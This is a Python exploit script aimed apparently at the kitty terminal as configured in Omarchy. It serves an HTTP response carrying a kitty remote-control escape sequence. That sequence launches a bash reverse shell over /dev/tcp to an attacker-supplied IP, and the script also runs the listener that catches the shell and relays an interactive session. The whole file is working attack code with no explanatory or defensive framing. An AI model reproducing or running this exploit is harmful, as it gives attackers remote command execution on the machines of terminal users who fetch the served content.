omarchy-kitty-pwn.py

omarchy-kitty-pwn.py

import os
import sys
import tty
import json
import base64
import select
import termios
import requests
import threading
import socketserver
from http.server import HTTPServer, SimpleHTTPRequestHandler

socketserver.TCPServer.allow_reuse_address = True

HTTPD_PORT = 8001
CB_PORT = 8002
if len(sys.argv) != 2:
    print("usage: %s <cb_ip>" % sys.argv[0])
    exit(0)
IP_S = sys.argv[1]

class connectback_shell(socketserver.BaseRequestHandler):
    def handle(self):
        print("\n[*] YES! -> shell from %s" % self.client_address[0])
        s = self.request
        fd = sys.stdin.fileno()
        old_settings = termios.tcgetattr(fd)

        try:
            new_settings = termios.tcgetattr(fd)
            new_settings[3] = new_settings[3] & ~termios.ECHO
            termios.tcsetattr(fd, termios.TCSADRAIN, new_settings)
            tty.setcbreak(fd)
            os.write(s.fileno(), b"cat /proc/version\nid\n")
            while True:
                r, _, _ = select.select([fd, s.fileno()], [], [])
                if fd in r:
                    data = os.read(fd, 1024)
                    if not data:
                        break
                    s.sendall(data)
                if s.fileno() in r:
                    data = s.recv(1024)
                    if not data:
                        break
                    os.write(sys.stdout.fileno(), data)

        except KeyboardInterrupt:
            pass
        finally:
            termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)


class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        request = {
            "cmd": "launch",
            "version": [0, 26, 0],
            "no_response": True,
            "payload": {
                "args": [
                    "bash",
                    "-c",
                    "bash -i >& /dev/tcp/%s/%d 0>&1" % (IP_S, CB_PORT),
                ],
                "type": "background",
            },
        }
        frame = (
            b"\x1bP@kitty-cmd"
            + json.dumps(request, separators=(",", ":")).encode()
            + b"\x1b\\"
        )

        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(frame)))
        self.end_headers()
        self.wfile.write(frame)

if __name__ == "__main__":
    print("[+] starting listener..")
    server = ThreadedTCPServer(("0.0.0.0", CB_PORT), connectback_shell)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    print("[+] starting http server..")
    HTTPServer(("0.0.0.0", HTTPD_PORT), Handler).serve_forever()